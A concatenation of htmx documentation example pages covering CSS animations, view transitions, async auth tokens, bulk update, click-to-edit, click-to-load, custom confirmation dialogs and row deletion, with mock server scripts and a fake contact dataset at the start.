            { "FirstName": "Anastasia", "LastName": "Strong", "Email": "sit@vitae.edu", "City": "Polpenazze del Garda" },
            { "FirstName": "Bell", "LastName": "Simon", "Email": "mollis.nec.cursus@disparturientmontes.ca", "City": "Caxias do Sul" },
            { "FirstName": "Minerva", "LastName": "Allison", "Email": "Donec@nequeIn.edu", "City": "Rio de Janeiro" },
            { "FirstName": "Yoko", "LastName": "Dawson", "Email": "neque.sed@semper.net", "City": "Saint-Remy-Geest" },
            { "FirstName": "Nadine", "LastName": "Justice", "Email": "netus@et.edu", "City": "Calgary" },
            { "FirstName": "Hoyt", "LastName": "Rosa", "Email": "Nullam.ut.nisi@Aliquam.co.uk", "City": "Mold" },
            { "FirstName": "Shafira", "LastName": "Noel", "Email": "tincidunt.nunc@non.edu", "City": "Kitzbühel" },
            { "FirstName": "Jin", "LastName": "Nunez", "Email": "porttitor.tellus.non@venenatisamagna.net", "City": "Dreieich" },
            { "FirstName": "Barbara", "LastName": "Gay", "Email": "est.congue.a@elit.com", "City": "Overland Park" },
            { "FirstName": "Riley", "LastName": "Hammond", "Email": "tempor.diam@sodalesnisi.net", "City": "Smoky Lake" },
            { "FirstName": "Molly", "LastName": "Fulton", "Email": "semper@Naminterdumenim.net", "City": "Montese" },
            { "FirstName": "Dexter", "LastName": "Owen", "Email": "non.ante@odiosagittissemper.ca", "City": "Bousval" },
            { "FirstName": "Kuame", "LastName": "Merritt", "Email": "ornare.placerat.orci@nisinibh.ca", "City": "Solingen" },
            { "FirstName": "Maggie", "LastName": "Delgado", "Email": "Nam.ligula.elit@Cum.org", "City": "Tredegar" },
            { "FirstName": "Hanae", "LastName": "Washington", "Email": "nec.euismod@adipiscingelit.org", "City": "Amersfoort" },
            { "FirstName": "Jonah", "LastName": "Cherry", "Email": "ridiculus.mus.Proin@quispede.edu", "City": "Acciano" },
            { "FirstName": "Cheyenne", "LastName": "Munoz", "Email": "at@molestiesodalesMauris.edu", "City": "Saint-L?onard" },
            { "FirstName": "India", "LastName": "Mack", "Email": "sem.mollis@Inmi.co.uk", "City": "Maryborough" },
            { "FirstName": "Lael", "LastName": "Mcneil", "Email": "porttitor@risusDonecegestas.com", "City": "Livorno" },
            { "FirstName": "Jillian", "LastName": "Mckay", "Email": "vulputate.eu.odio@amagnaLorem.co.uk", "City": "Salvador" },
            { "FirstName": "Shaine", "LastName": "Wright", "Email": "malesuada@pharetraQuisqueac.org", "City": "Newton Abbot" },
            { "FirstName": "Keane", "LastName": "Richmond", "Email": "nostra.per.inceptos@euismodurna.org", "City": "Canterano" },
            { "FirstName": "Samuel", "LastName": "Davis", "Email": "felis@euenim.com", "City": "Peterhead" },
            { "FirstName": "Zelenia", "LastName": "Sheppard", "Email": "Quisque.nonummy@antelectusconvallis.org", "City": "Motta Visconti" },
            { "FirstName": "Giacomo", "LastName": "Cole", "Email": "aliquet.libero@urnaUttincidunt.ca", "City": "Donnas" },
            { "FirstName": "Mason", "LastName": "Hinton", "Email": "est@Nunc.co.uk", "City": "St. Asaph" },
            { "FirstName": "Katelyn", "LastName": "Koch", "Email": "velit.Aliquam@Suspendisse.edu", "City": "Cleveland" },
            { "FirstName": "Olga", "LastName": "Spencer", "Email": "faucibus@Praesenteudui.net", "City": "Karapınar" },
            { "FirstName": "Erasmus", "LastName": "Strong", "Email": "dignissim.lacus@euarcu.net", "City": "Passau" },
            { "FirstName": "Regan", "LastName": "Cline", "Email": "vitae.erat.vel@lacusEtiambibendum.co.uk", "City": "Pergola" },
            { "FirstName": "Stone", "LastName": "Holt", "Email": "eget.mollis.lectus@Aeneanegestas.ca", "City": "Houston" },
            { "FirstName": "Deanna", "LastName": "Branch", "Email": "turpis@estMauris.net", "City": "Olcenengo" },
            { "FirstName": "Rana", "LastName": "Green", "Email": "metus@conguea.edu", "City": "Onze-Lieve-Vrouw-Lombeek" },
            { "FirstName": "Caryn", "LastName": "Henson", "Email": "Donec.sollicitudin.adipiscing@sed.net", "City": "Kington" },
            { "FirstName": "Clarke", "LastName": "Stein", "Email": "nec@mollis.co.uk", "City": "Tenali" },
            { "FirstName": "Kelsie", "LastName": "Porter", "Email": "Cum@gravidaAliquam.com", "City": "İskenderun" },
            { "FirstName": "Cooper", "LastName": "Pugh", "Email": "Quisque.ornare.tortor@dictum.co.uk", "City": "Delhi" },
            { "FirstName": "Paul", "LastName": "Spencer", "Email": "ac@InfaucibusMorbi.com", "City": "Biez" },
            { "FirstName": "Cassady", "LastName": "Farrell", "Email": "Suspendisse.non@venenatisa.net", "City": "New Maryland" },
            { "FirstName": "Sydnee", "LastName": "Velazquez", "Email": "mollis@loremfringillaornare.com", "City": "Strée" },
            { "FirstName": "Felix", "LastName": "Boyle", "Email": "id.libero.Donec@aauctor.org", "City": "Edinburgh" },
            { "FirstName": "Ryder", "LastName": "House", "Email": "molestie@natoquepenatibus.org", "City": "Copertino" },
            { "FirstName": "Hadley", "LastName": "Holcomb", "Email": "penatibus@nisi.ca", "City": "Avadi" },
            { "FirstName": "Marsden", "LastName": "Nunez", "Email": "Nulla.eget.metus@facilisisvitaeorci.org", "City": "New Galloway" },
            { "FirstName": "Alana", "LastName": "Powell", "Email": "non.lobortis.quis@interdumfeugiatSed.net", "City": "Pitt Meadows" },
            { "FirstName": "Dennis", "LastName": "Wyatt", "Email": "Morbi.non@nibhQuisquenonummy.ca", "City": "Wrexham" },
            { "FirstName": "Karleigh", "LastName": "Walton", "Email": "nascetur.ridiculus@quamdignissimpharetra.com", "City": "Diksmuide" },
            { "FirstName": "Brielle", "LastName": "Donovan", "Email": "placerat@at.edu", "City": "Kolmont" },
            { "FirstName": "Donna", "LastName": "Dickerson", "Email": "lacus.pede.sagittis@lacusvestibulum.com", "City": "Vallepietra" },
            { "FirstName": "Eagan", "LastName": "Pate", "Email": "est.Nunc@cursusNunc.ca", "City": "Durness" },
            { "FirstName": "Carlos", "LastName": "Ramsey", "Email": "est.ac.facilisis@duinec.co.uk", "City": "Tiruvottiyur" },
            { "FirstName": "Regan", "LastName": "Murphy", "Email": "lectus.Cum@aptent.com", "City": "Candidoni" },
            { "FirstName": "Claudia", "LastName": "Spence", "Email": "Nunc.lectus.pede@aceleifend.co.uk", "City": "Augusta" },
            { "FirstName": "Genevieve", "LastName": "Parker", "Email": "ultrices@inaliquetlobortis.net", "City": "Forbach" },
            { "FirstName": "Marshall", "LastName": "Allison", "Email": "erat.semper.rutrum@odio.org", "City": "Landau" },
            { "FirstName": "Reuben", "LastName": "Davis", "Email": "Donec@auctorodio.edu", "City": "Schönebeck" },
            { "FirstName": "Ralph", "LastName": "Doyle", "Email": "pede.Suspendisse.dui@Curabitur.org", "City": "Linkebeek" },
            { "FirstName": "Constance", "LastName": "Gilliam", "Email": "mollis@Nulla.edu", "City": "Enterprise" },
            { "FirstName": "Serina", "LastName": "Jacobson", "Email": "dictum.augue@ipsum.net", "City": "Hérouville-Saint-Clair" },
            { "FirstName": "Charity", "LastName": "Byrd", "Email": "convallis.ante.lectus@scelerisquemollisPhasellus.co.uk", "City": "Brussegem" },
            { "FirstName": "Hyatt", "LastName": "Bird", "Email": "enim.Nunc.ut@nonmagnaNam.com", "City": "Gdynia" },
            { "FirstName": "Brent", "LastName": "Dunn", "Email": "ac.sem@nuncid.com", "City": "Hay-on-Wye" },
            { "FirstName": "Casey", "LastName": "Bonner", "Email": "id@ornareelitelit.edu", "City": "Kearny" },
            { "FirstName": "Hakeem", "LastName": "Gill", "Email": "dis@nonummyipsumnon.org", "City": "Portico e San Benedetto" },
            { "FirstName": "Stewart", "LastName": "Meadows", "Email": "Nunc.pulvinar.arcu@convallisdolorQuisque.net", "City": "Dignano" },
            { "FirstName": "Nomlanga", "LastName": "Wooten", "Email": "inceptos@turpisegestas.ca", "City": "Troon" },
            { "FirstName": "Sebastian", "LastName": "Watts", "Email": "Sed.diam.lorem@lorem.co.uk", "City": "Palermo" },
            { "FirstName": "Chelsea", "LastName": "Larsen", "Email": "ligula@Nam.net", "City": "Poole" },
            { "FirstName": "Cameron", "LastName": "Humphrey", "Email": "placerat@id.org", "City": "Manfredonia" },
            { "FirstName": "Juliet", "LastName": "Bush", "Email": "consectetuer.euismod@vitaeeratVivamus.co.uk", "City": "Lavacherie" },
            { "FirstName": "Caryn", "LastName": "Hooper", "Email": "eu.enim.Etiam@ridiculus.org", "City": "Amelia" }
          ];
          return {
            findContactsMatching : function(str) {
              var result = [];
              var s = str.toLowerCase();
              for (var i = 0; i < data.length; i++) {
                var c = data[i];
                if(c['FirstName'].toLowerCase().indexOf(s) >= 0 || c['LastName'].toLowerCase().indexOf(s) >= 0 || c['Email'].toLowerCase().indexOf(s) >= 0) {
                  result.push(c)
                }
              }
              return result;
            }
          }
        }()
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/animations.md

+++
title = "Animations"
template = "demo.html"
+++

htmx is designed to allow you to use [CSS transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions)
to add smooth animations and transitions to your web page using only CSS and HTML.  Below are a few examples of
various animation techniques.

htmx also allows you to use the new [View Transitions API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API)
for creating animations.

### Basic CSS Animations {#basic}

### Color Throb

The simplest animation technique in htmx is to keep the `id` of an element stable across a content swap.  If the
`id` of an element is kept stable, htmx will swap it in such a way that CSS transitions can be written between
the old version of the element and the new one.

Consider this div:

```html
<style>
.smooth {
  transition: all 1s ease-in;
}
</style>
<div id="color-demo" class="smooth" style="color:red"
      hx-get="/colors" hx-swap="outerHTML" hx-trigger="every 1s">
  Color Swap Demo
</div>

```

This div will poll every second and will get replaced with new content which changes the `color` style to a new value
(e.g. `blue`):

```html
<div id="color-demo" class="smooth" style="color:blue"
      hx-get="/colors" hx-swap="outerHTML" hx-trigger="every 1s">
  Color Swap Demo
</div>
```

Because the div has a stable id, `color-demo`, htmx will structure the swap such that a CSS transition, defined on the
`.smooth` class, applies to the style update from `red` to `blue`, and smoothly transitions between them.

#### Demo {#throb-demo}

<style>
.smooth {
  transition: all 1s ease-in;
}
</style>
<div id="color-demo" class="smooth" style="color:red"
      hx-get="/colors" hx-swap="outerHTML" hx-trigger="every 1s">
  Color Swap Demo
</div>

<script>
    var colors = ['blue', 'green', 'orange', 'red'];
    onGet("/colors", function () {
      var color = colors.shift();
      colors.push(color);
      return '<div id="color-demo" hx-get="/colors" hx-swap="outerHTML" class="smooth" hx-trigger="every 1s" style="color:' + color + '">\n'+
             '  Color Swap Demo\n'+
             '</div>\n'
    });
</script>

### Smooth Progress Bar

The [Progress Bar](@/examples/progress-bar.md) demo uses this basic CSS animation technique as well, by updating the `length`
property of a progress bar element, allowing for a smooth animation.

## Swap Transitions {#swapping}

### Fade Out On Swap

If you want to fade out an element that is going to be removed when the request ends, you want to take advantage
of the `htmx-swapping` class with some CSS and extend the swap phase to be long enough for your animation to
complete.  This can be done like so:

```html
<style>
.fade-me-out.htmx-swapping {
  opacity: 0;
  transition: opacity 1s ease-out;
}
</style>
<button class="fade-me-out"
        hx-delete="/fade_out_demo"
        hx-swap="outerHTML swap:1s">
        Fade Me Out
</button>
```

#### Demo {#fade-swap-demo}

<style>
.fade-me-out.htmx-swapping {
  opacity: 0;
  transition: opacity 1s ease-out;
}
</style>

<button class="fade-me-out"
        hx-delete="/fade_out_demo"
        hx-swap="outerHTML swap:1s">
        Delete Me
</button>

<script>
    onDelete("/fade_out_demo", function () {return ""});
</script>

## Settling Transitions {#settling}

### Fade In On Addition

Building on the last example, we can fade in the new content by using the `htmx-added` class during the settle
phase.  You can also write CSS transitions against the target, rather than the new content, by using the `htmx-settling`
class.

```html
<style>
#fade-me-in.htmx-added {
  opacity: 0;
}
#fade-me-in {
  opacity: 1;
  transition: opacity 1s ease-out;
}
</style>
<button id="fade-me-in"
        class="btn primary"
        hx-post="/fade_in_demo"
        hx-swap="outerHTML settle:1s">
        Fade Me In
</button>
```

#### Demo {#fade-settle-demo}

<style>
#fade-me-in.htmx-added {
  opacity: 0;
}
#fade-me-in {
  opacity: 1;
  transition: opacity 1s ease-out;
}
</style>

<button id="fade-me-in"
        class="btn primary"
        hx-post="/fade_me_in"
        hx-swap="outerHTML settle:1s">
        Fade Me In
</button>

<script>
    onPost("/fade_me_in", function () {return "<button id=\"fade-me-in\"\n"+
                                               "        class=\"btn primary\"\n"+
                                               "        hx-post=\"/fade_me_in\"\n"+
                                               "        hx-swap=\"outerHTML settle:1s\">\n"+
                                               "        Fade Me In\n"+
                                               "</button>"});
</script>

## Request In Flight Animation {#request}

You can also take advantage of the `htmx-request` class, which is applied to the element that triggers a request.  Below
is a form that on submit will change its look to indicate that a request is being processed:

```html
<style>
  form.htmx-request {
    opacity: .5;
    transition: opacity 300ms linear;
  }
</style>
<form hx-post="/name" hx-swap="outerHTML">
<label>Name:</label><input name="name"><br/>
<button class="btn primary">Submit</button>
</form>
```

#### Demo {#request-demo}

<style>
  form.htmx-request {
    opacity: .5;
    transition: opacity 300ms linear;
  }
</style>

<div aria-live="polite">
<form hx-post="/name" hx-swap="outerHTML">
<label>Name:</label><input name="name"><br/>
<button class="btn primary">Submit</button>
</form>
</div>

<script>
  onPost("/name", function(){ return "Submitted!"; });
</script>

## Using the htmx `class-tools` Extension

Many interesting animations can be created by using the [`class-tools`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/class-tools/README.md) extension.

Here is an example that toggles the opacity of a div.  Note that we set the toggle time to be a bit longer than
the transition time.  This avoids flickering that can happen if the transition is interrupted by a class change.

```html
<style>
.demo.faded {
  opacity:.3;
}
.demo {
  opacity:1;
  transition: opacity ease-in 900ms;
}
</style>
<div class="demo" classes="toggle faded:1s">Toggle Demo</div>
```

#### Demo {#class-tools-demo}

<style>
.demo.faded {
  opacity:.3;
}
.demo {
  opacity:1;
  transition: opacity ease-in 900ms;
}
</style>
<div class="demo" classes="toggle faded:1s">Toggle Demo</div>

### Using the View Transition API {#view-transitions}

htmx provides access to the new  [View Transitions API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API)
via the `transition` option of the [`hx-swap`](/attributes/hx-swap) attribute.

Below is an example of a swap that uses a view transition.  The transition is tied to the outer div via a
`view-transition-name` property in CSS, and that transition is defined in terms of `::view-transition-old`
and `::view-transition-new`, using `@keyframes` to define the animation.  (Fuller details on the View Transition
API can be found on the [Chrome Developer Page](https://developer.chrome.com/docs/web-platform/view-transitions/) on them.)

The old content of this transition should slide out to the left and the new content should slide in from the right.

Note that, as of this writing, the visual transition will only occur on Chrome 111+, but more browsers are expected to
implement this feature in the near future.

```html
<style>
   @keyframes fade-in {
     from { opacity: 0; }
   }

   @keyframes fade-out {
     to { opacity: 0; }
   }

   @keyframes slide-from-right {
     from { transform: translateX(90px); }
   }

   @keyframes slide-to-left {
     to { transform: translateX(-90px); }
   }

   .slide-it {
     view-transition-name: slide-it;
   }

   ::view-transition-old(slide-it) {
     animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
   }
   ::view-transition-new(slide-it) {
     animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
   }
</style>


<div class="slide-it">
   <h1>Initial Content</h1>
   <button class="btn primary" hx-get="/new-content" hx-swap="innerHTML transition:true" hx-target="closest div">
     Swap It!
   </button>
</div>
```

#### Demo

<style>
   @keyframes fade-in {
     from { opacity: 0; }
   }

   @keyframes fade-out {
     to { opacity: 0; }
   }

   @keyframes slide-from-right {
     from { transform: translateX(90px); }
   }

   @keyframes slide-to-left {
     to { transform: translateX(-90px); }
   }

   .slide-it {
     view-transition-name: slide-it;
   }

   ::view-transition-old(slide-it) {
     animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
   }
   ::view-transition-new(slide-it) {
     animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
   }
</style>

<div class="slide-it">
   <h1>Initial Content</h1>
   <button class="btn primary" hx-get="/new-content" hx-swap="innerHTML transition:true" hx-target="closest div">
     Swap It!
   </button>
</div>

<script>
    var originalContent = htmx.find(".slide-it").innerHTML;

    this.server.respondWith("GET", "/new-content", function(xhr){
        xhr.respond(200,  {}, "<h1>New Content</h1> <button class='btn danger' hx-get='/original-content' hx-swap='innerHTML transition:true' hx-target='closest div'>Restore It! </button>")
    });

    this.server.respondWith("GET", "/original-content", function(xhr){
        xhr.respond(200,  {}, originalContent)
    });
</script>

## Conclusion

You can use the techniques above to create quite a few interesting and pleasing effects with plain old HTML while using htmx.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/async-auth.md

+++
title = "Async Authentication"
template = "demo.html"
+++

This example shows how to implement an an async auth token flow for htmx.

The technique we will use here will take advantage of the fact that you can delay requests
using the [`htmx:confirm`](@/events.md#htmx:confirm) event.

We first have a button that should not issue a request until an auth token has been retrieved:

```html
  <button hx-post="/example" hx-target="next output">
    An htmx-Powered button
  </button>
  <output>
    --
  </output>
```

Next we will add some scripting to work with an `auth` promise (returned by a library):

```html
<script>
  // auth is a promise returned by our authentication system

  // await the auth token and store it somewhere
  let authToken = null;
  auth.then((token) => {
    authToken = token
  })
  
  // gate htmx requests on the auth token
  htmx.on("htmx:confirm", (e)=> {
    // if there is no auth token
    if(authToken == null) {
      // stop the regular request from being issued
      e.preventDefault() 
      // only issue it once the auth promise has resolved
      auth.then(() => e.detail.issueRequest()) 
    }
  })

  // add the auth token to the request as a header
  htmx.on("htmx:configRequest", (e)=> {
    e.detail.headers["AUTH"] = authToken
  })
</script>
```

Here we use a global variable, but you could use `localStorage` or whatever preferred mechanism
you want to communicate the authentication token to the `htmx:configRequest` event.

With this code in place, htmx will not issue requests until the `auth` promise has been resolved.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/bulk-update.md

+++
title = "Bulk Update"
template = "demo.html"
+++

This demo shows how to implement a common pattern where rows are selected and then bulk updated.  This is
accomplished by putting a form around a table, with checkboxes in the table, and then including the checked
values in the form submission (`POST` request):

```html
<form id="checked-contacts"
      hx-post="/users"
      hx-swap="innerHTML settle:3s"
      hx-target="#toast">
    <table>
      <thead>
      <tr>
        <th>Name</th>
        <th>Email</th>
        <th>Active</th>
      </tr>
      </thead>
      <tbody id="tbody">
        <tr>
          <td>Joe Smith</td>
          <td>joe@smith.org</td>
          <td><input type="checkbox" name="active:joe@smith.org"></td>
        </tr>
        ...
      </tbody>
    </table>
    <input type="submit" value="Bulk Update" class="btn primary">
    <output id="toast"></output>
</form>
```

The server will bulk-update the statuses based on the values of the checkboxes.
We respond with a small toast message about the update to inform the user, and
use an `<output>` element to politely announce the update for accessibility. Note
that the `<output>` element is appropriate for announcing the result of an action
in a specific form, but if you need to announce general-purpose messages that are
not connected to a form it would make sense to use an ARIA live region, eg
`<p id="toast" aria-live="polite"></p>`.

```css
#toast.htmx-settling {
  opacity: 100;
}

#toast {
  background: #E1F0DA;
  opacity: 0;
  transition: opacity 3s ease-out;
}
```

The cool thing is that, because HTML form inputs already manage their own state,
we don't need to re-render any part of the users table. The active users are
already checked and the inactive ones unchecked!

You can see a working example of this code below.

<style scoped="">
#toast.htmx-settling {
  opacity: 100;
}

#toast {
  background: #E1F0DA;
  opacity: 0;
  transition: opacity 3s ease-out;
}
</style>

{{ demoenv() }}

<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    const dataStore = (() => {
      const data = {
        "joe@smith.org": {name: 'Joe Smith', status: 'Active'},
        "angie@macdowell.org": {name: 'Angie MacDowell', status: 'Active'},
        "fuqua@tarkenton.org": {name: 'Fuqua Tarkenton', status: 'Active'},
        "kim@yee.org": {name: 'Kim Yee', status: 'Inactive'},
      };

      return {
        all() {
          return data;
        },

        activate(email) {
          if (data[email].status === 'Active') {
            return 0;
          } else {
            data[email].status = 'Active';
            return 1;
          }
        },

        deactivate(email) {
          if (data[email].status === 'Inactive') {
            return 0;
          } else {
            data[email].status = 'Inactive';
            return 1;
          }
        },
      };
    })();

    // routes
    init("/demo", function(request){
        return displayUI(dataStore.all());
    });

    /*
    Params look like:
    {"active:joe@smith.org":"on","active:angie@macdowell.org":"on","active:fuqua@tarkenton.org":"on"}
    */
    onPost("/users", function (req, params) {
      const actives = {};
      let activated = 0;
      let deactivated = 0;

      // Build a set of active users for efficient lookup
      for (const param of Object.keys(params)) {
        const nameEmail = param.split(':');
        if (nameEmail[0] === 'active') {
          actives[nameEmail[1]] = true;
        }
      }

      // Activate or deactivate users based on the lookup
      for (const email of Object.keys(dataStore.all())) {
        if (actives[email]) {
          activated += dataStore.activate(email);
        } else {
          deactivated += dataStore.deactivate(email);
        }
      }

      return `Activated ${activated} and deactivated ${deactivated} users`;
    });

    // templates
    function displayUI(contacts) {
      return `<h3>Select Rows And Activate Or Deactivate Below</h3>
               <form
                id="checked-contacts"
                hx-post="/users"
                hx-swap="innerHTML settle:3s"
                hx-target="#toast"
              >
                <table>
                  <thead>
                  <tr>
                    <th>Name</th>
                    <th>Email</th>
                    <th>Active</th>
                  </tr>
                  </thead>
                  <tbody id="tbody">
                    ${displayTable(contacts)}
                  </tbody>
                </table>
                <input type="submit" value="Bulk Update" class="btn primary">
                <output id="toast"></output>
              </form>
              <br>`;
    }

    function displayTable(contacts) {
      var txt = "";

      for (email of Object.keys(contacts)) {
        txt += `
<tr>
  <td>${contacts[email].name}</td>
  <td>${email}</td>
  <td>
    <input
      type="checkbox"
      name="active:${email}"
      ${contacts[email].status === 'Active' ? 'checked' : ''}>
  </td>
</tr>
`;
      }

      return txt;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/click-to-edit.md

+++
title = "Click to Edit"
template = "demo.html"
+++

The click to edit pattern provides a way to offer inline editing of all or part of a record without a page refresh.

* This pattern starts with a UI that shows the details of a contact.  The div has a button that will get the editing UI for the contact from `/contact/1/edit`

```html
<div hx-target="this" hx-swap="outerHTML">
    <div><label>First Name</label>: Joe</div>
    <div><label>Last Name</label>: Blow</div>
    <div><label>Email</label>: joe@blow.com</div>
    <button hx-get="/contact/1/edit" class="btn primary">
    Click To Edit
    </button>
</div>
```

* This returns a form that can be used to edit the contact

```html
<form hx-put="/contact/1" hx-target="this" hx-swap="outerHTML">
  <div>
    <label>First Name</label>
    <input type="text" name="firstName" value="Joe">
  </div>
  <div class="form-group">
    <label>Last Name</label>
    <input type="text" name="lastName" value="Blow">
  </div>
  <div class="form-group">
    <label>Email Address</label>
    <input type="email" name="email" value="joe@blow.com">
  </div>
  <button class="btn" type="submit">Submit</button>
  <button class="btn" hx-get="/contact/1">Cancel</button>
</form>
```

* The form issues a `PUT` back to `/contact/1`, following the usual REST-ful pattern.

{{ demoenv() }}

<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // data
    var contact = {
        "firstName" : "Joe",
        "lastName" : "Blow",
        "email" : "joe@blow.com"
    };

    // routes
    init("/contact/1", function(request){
        return displayTemplate(contact);
    });

    onGet("/contact/1/edit", function(request){
        return formTemplate(contact);
    });

    onPut("/contact/1", function (req, params) {
        contact.firstName = params['firstName'];
        contact.lastName = params['lastName'];
        contact.email = params['email'];
        return displayTemplate(contact);
    });

    // templates
    function formTemplate(contact) {
return `<form hx-put="/contact/1" hx-target="this" hx-swap="outerHTML">
  <div>
    <label for="firstName">First Name</label>
    <input autofocus type="text" id="firstName" name="firstName" value="${contact.firstName}">
  </div>
  <div class="form-group">
    <label for="lastName">Last Name</label>
    <input type="text" id="lastName" name="lastName" value="${contact.lastName}">
  </div>
  <div class="form-group">
    <label for="email">Email Address</label>
    <input type="email" id="email" name="email" value="${contact.email}">
  </div>
  <button class="btn primary" type="submit">Submit</button>
  <button class="btn danger" hx-get="/contact/1">Cancel</button>
</form>`
    }

    function displayTemplate(contact) {
        return `<div hx-target="this" hx-swap="outerHTML">
    <div><label>First Name</label>: ${contact.firstName}</div>
    <div><label>Last Name</label>: ${contact.lastName}</div>
    <div><label>Email Address</label>: ${contact.email}</div>
    <button hx-get="/contact/1/edit" class="btn primary">
    Click To Edit
    </button>
</div>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/click-to-load.md

+++
title = "Click to Load"
template = "demo.html"
+++

This example shows how to implement click-to-load the next page in a table of data.  The crux of the demo is
the final row:

```html
<tr id="replaceMe">
  <td colspan="3">
    <button class='btn primary' hx-get="/contacts/?page=2"
                        hx-target="#replaceMe"
                        hx-swap="outerHTML">
         Load More Agents... <img class="htmx-indicator" src="/img/bars.svg" alt="">
    </button>
  </td>
</tr>
```

This row contains a button that will replace the entire row with the next page of
results (which will contain a button to load the *next* page of results).  And so on.

{{ demoenv() }}

<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // data
    var dataStore = function(){
      var contactId = 9;
      function generateContact() {
        contactId++;
        var idHash = "";
        var possible = "ABCDEFG0123456789";
        for( var i=0; i < 15; i++ ) idHash += possible.charAt(Math.floor(Math.random() * possible.length));
        return { name: "Agent Smith", email: "void" + contactId + "@null.org", id: idHash }
      }
      return {
        contactsForPage : function(page) {
          var vals = [];
          for( var i=0; i < 10; i++ ){
            vals.push(generateContact());
          }
          return vals;
        }
      }
    }()

    // routes
    init("/demo", function(request, params){
        var contacts = dataStore.contactsForPage(1)
        return tableTemplate(contacts)
    });

    onGet(/\/contacts.*/, function(request, params){
        var page = parseInt(params['page']);
        var contacts = dataStore.contactsForPage(page)
        return rowsTemplate(page, contacts);
    });

    // templates
    function tableTemplate(contacts) {
        return `<table><thead><tr><th>Name</th><th>Email</th><th>ID</th></tr></thead><tbody>
                ${rowsTemplate(1, contacts)}
                </tbody></table>`
    }

    function rowsTemplate(page, contacts) {
      var txt = "";
      for (var i = 0; i < contacts.length; i++) {
        var c = contacts[i];
        txt += `<tr><td>${c.name}</td><td>${c.email}</td><td>${c.id}</td></tr>\n`;
      }
      txt += loadMoreRow(page);
      return txt;
    }

    function loadMoreRow(page) {
      return `<tr id="replaceMe">
  <td colspan="3">
    <center>
      <button class='btn primary' hx-get="/contacts/?page=${page + 1}"
                       hx-target="#replaceMe"
                       hx-swap="outerHTML">
         Load More Agents... <img class="htmx-indicator" src="/img/bars.svg" alt="">
       </button>
    </center>
  </td>
</tr>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/confirm.md

+++
title = "A Customized Confirmation UI"
template = "demo.html"
+++

htmx supports the [`hx-confirm`](@/attributes/hx-confirm.md) attribute to provide a simple mechanism for confirming a user
action.  This uses the default `confirm()` function in javascript which, while trusty, may not be consistent with your 
applications UX.

In this example we will see how to use [sweetalert2](https://sweetalert2.github.io)  to implement a custom confirmation dialog. Below are two 
examples, one using a click+custom event method, and one using the built-in `hx-confirm` attribute and
the [`htmx:confirm`](@/events.md#htmx:confirm) event.

## Using on click+custom event

```html
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<button hx-get="/confirmed" 
        hx-trigger='confirmed'
        onClick="Swal.fire({title: 'Confirm', text:'Do you want to continue?'}).then((result)=>{
            if(result.isConfirmed){
              htmx.trigger(this, 'confirmed');  
            } 
        })">
  Click Me
</button>
```

Here we use javascript to show a Sweet Alert 2 on a click, asking for confirmation.  If the user confirms
the dialog, we then trigger the request by triggering the custom "confirmed" event
which is then picked up by `hx-trigger`.

## Vanilla JS, hx-confirm

```html
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
  document.addEventListener("htmx:confirm", function(e) {
    // The event is triggered on every trigger for a request, so we need to check if the element
    // that triggered the request has a confirm question set via the hx-confirm attribute,
    // if not we can return early and let the default behavior happen
    if (!e.detail.question) return

    // This will prevent the request from being issued to later manually issue it
    e.preventDefault()

    Swal.fire({
      title: "Proceed?",
      text: `I ask you... ${e.detail.question}`
    }).then(function(result) {
      if (result.isConfirmed) {
        // If the user confirms, we manually issue the request
        e.detail.issueRequest(true); // true to skip the built-in window.confirm()
      }
    })
  })
</script>
  
<button hx-get="/confirmed" hx-confirm="Some confirm text here">
  Click Me
</button>
```

We add some javascript to invoke Sweet Alert 2 on a click, asking for confirmation.  If the user confirms
the dialog, we trigger the request by calling the `issueRequest` method. We pass `skipConfirmation=true` as argument to skip `window.confirm`.

This allows to use `hx-confirm`'s value in the prompt which is convenient
when the question depends on the element e.g. a django list:

```html
{% for client in clients %}
<button hx-post="/delete/{{client.pk}}" hx-confirm="Delete {{client.name}}??">Delete</button>
{% endfor %}
```

Learn more about the [`htmx:confirm`](@/events.md#htmx:confirm) event [here](@/events.md#htmx:confirm).

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/delete-row.md

+++
title = "Delete Row"
template = "demo.html"
+++

This example shows how to implement a delete button that removes a table row upon completion.  First let's look at the
table body:

```html
<table class="table delete-row-example">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th>Status</th>
      <th></th>
    </tr>
  </thead>
  <tbody hx-confirm="Are you sure?" hx-target="closest tr" hx-swap="outerHTML swap:1s">
    ...
  </tbody>
</table>
```

The table body has a [`hx-confirm`](@/attributes/hx-confirm.md) attribute to confirm the delete action.  It also
set the target to be the `closest tr` that is, the closest table row, for all the buttons ([`hx-target`](@/attributes/hx-target.md)
is inherited from parents in the DOM.)  The swap specification in [`hx-swap`](@/attributes/hx-swap.md) says to swap the
entire target out and to wait 1 second after receiving a response.  This last bit is so that we can use the following
CSS:

```css
tr.htmx-swapping td {
  opacity: 0;
  transition: opacity 1s ease-out;
}
```

